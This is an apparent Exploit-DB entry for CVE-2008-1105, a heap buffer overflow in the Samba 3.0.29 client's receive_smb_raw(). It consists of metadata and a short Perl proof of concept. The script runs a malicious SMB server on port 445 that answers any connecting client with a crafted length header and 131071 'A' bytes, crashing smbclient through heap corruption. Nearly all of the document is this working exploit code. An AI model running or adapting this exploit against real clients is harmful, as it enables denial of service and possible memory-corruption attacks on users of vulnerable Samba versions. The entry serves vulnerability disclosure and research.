[] NeoSense

Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC)

Author: Guido Landi
type: dos
platform: multiple
port: 
date_added: 2008-05-31 
date_updated: 2017-09-06 
verified: 1 
codes: OSVDB-45657;CVE-2008-4189;CVE-2008-1105 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comsamba-3.0.29.tar.gz

#!/usr/bin/perl
# 06/01/2008 - k`sOSe
#
# ~ # smbclient //localhost/w00t
# *** glibc detected *** smbclient: free(): invalid next size (fast): 0x0823c2d8 ***
#

use warnings;
use strict;
use IO::Socket;


my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '445', Listen => 1, Reuse => 1) || die($!);

while(my $csock = $sock->accept())
{
	print $csock	"\x00" .
			"\x01\xff\xff" .
			"\x41" x 131071;

}

# milw0rm.com [2008-06-01]